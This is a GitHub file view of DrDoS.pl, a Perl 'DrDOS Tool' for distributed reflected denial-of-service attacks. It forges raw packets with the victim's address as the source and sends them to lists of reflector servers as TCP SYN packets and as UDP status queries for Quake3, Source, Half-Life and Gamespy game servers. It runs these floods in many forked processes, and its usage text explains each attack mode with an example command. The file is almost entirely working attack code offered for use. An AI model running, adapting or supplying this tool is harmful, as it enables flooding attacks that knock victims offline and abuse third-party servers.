-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathDrDoS.pl
219 lines (188 loc) · 5.2 KB
/
DrDoS.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
#!/usr/bin/perl -w
use Benchmark;
use Net::RawIP;
use Time::HiRes qw ( usleep );
my $rand = int( rand 0x400 );
my $frag = 0;
my $doff = 0x05;
my $ttl = 0xFF;
my $tos = 0x08;
my $pid;
my $tx;
my @list;
my @running;
my @pids;
my %attack =
( "tcp" => \&tcp, "quake3" => \&quake3, "source" => \&source, "hl" => \&hl, "gs" => \&gs, "gs2" => \&gs2 );
if ( @ARGV < 7 || @ARGV > 7 ) {
&usage();
exit;
}
$tx = $ARGV[3];
my $t0 = new Benchmark;
print "\n*** Now Reading Hosts Into Array\n\n";
open( ELITE, $ARGV[2] ) || die "Unable to open $ARGV[2]!\n";
chomp( @list = <ELITE> );
close(ELITE);
sub tcp {
my ( $ip, $port ) = @_;
my $a = new Net::RawIP(
{
ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl },
tcp => {
dest => $port,
source => $ARGV[1],
syn => 1,
ack => 0,
fin => 0,
rst => 0,
psh => 0,
urg => 0,
doff => $doff
}
}
);
$a->send( 0, $tx );
}
sub quake3 {
my ( $ip, $port ) = @_;
my $a = new Net::RawIP(
{
ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
udp => {
dest => $port,
source => $ARGV[1],
data => chr(255) . chr(255) . chr(255) . chr(255) . "getstatus" . chr(10),
}
}
);
$a->send( 0, $tx );
}
sub source {
my ( $ip, $port ) = @_;
my $a = new Net::RawIP(
{
ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
udp => { dest => $port, source => $ARGV[1], data => chr(255) . chr(255) . chr(255) . chr(255) . chr(85), }
}
);
$a->send( 0, $tx );
}
sub hl {
my ( $ip, $port ) = @_;
my $a = new Net::RawIP(
{
ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
udp => { dest => $port, source => $ARGV[1], data => chr(255) . chr(255) . chr(255) . chr(255) . "rules", }
}
);
$a->send( 0, $tx );
}
sub gs {
my ( $ip, $port ) = @_;
my $a = new Net::RawIP(
{
ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
udp => {
dest => $port,
source => $ARGV[1],
data => chr(92) . chr(115) . chr(116) . chr(97) . chr(116) . chr(117) . chr(115) . chr(92),
}
}
);
$a->send( 0, $tx );
}
sub gs2 {
my ( $ip, $port ) = @_;
my $a = new Net::RawIP(
{
ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
udp => {
dest => $port,
source => $ARGV[1],
data => chr(254)
. chr(253)
. chr(0)
. chr(67)
. chr(79)
. chr(82)
. chr(89)
. chr(255)
. chr(255)
. chr(255),
}
}
);
$a->send( 0, $tx );
}
sub paxor {
my $type = $_[0];
unless ( $type eq "mixed" ) {
while (1) {
foreach (@list) { $attack{$type}->( split( ':', $_ ) );}
}
}
else {
my @part;
while (1) {
foreach (@list) {
@part = split( ":", $_ );
$attack{ $part[2] }->( $part[0], $part[1]);
}
}
}
}
for($number = 0;$number < $ARGV[5];$number++)
{
$pid = fork();
if ( $pid == 0 ) {
$SIG{INT} = \&controlsub;
&paxor( $ARGV[4] );
my $t1 = new Benchmark;
my $td = timediff( $t1, $t0 );
print "\nTotal Time: ", timestr($td), "\n";
sleep(5);
exit;
}
else {
push(@pids, $pid);
}
}
sleep( $ARGV[6] );
foreach(@pids)
{
kill( "INT", $_ );
}
exit;
sub controlme {
$SIG{INT} = \&controlme;
print "Signal Caught Now Exiting\n";
my $t1 = new Benchmark;
my $td = timediff( $t1, $t0 );
print "\nTotal Time: ", timestr($td), "\n";
sleep(5);
exit;
}
sub controlsub {
$SIG{INT} = \&controlsub;
exit;
}
sub usage {
print << "HEREDOC";
$0 <target> <target port> <reflector list> <weight> <attack type> <threads> <Time>
DrDOS Tool V1.8 FINAL by ohnoes1479
Time: Limit running time of the script, Time is in seconds
threads: number of threads to run
attack types:
tcp: reflected tcp SYN attack
quake3: reflected udp attack using quake3 based servers
source: reflected udp attack using Valve Source based servers
hl: reflected udp attack using Half Life servers
gs: reflected udp attack using Gamespy based servers
gs2: reflected udp attack using Gamespy 2 based servers
mixed: specify type of server in list, EG:
8.8.8.8:80:tcp
64.120.46.100:28960:quake3
Command: $0 127.0.0.1 8080 servers.txt 5 tcp
HEREDOC
}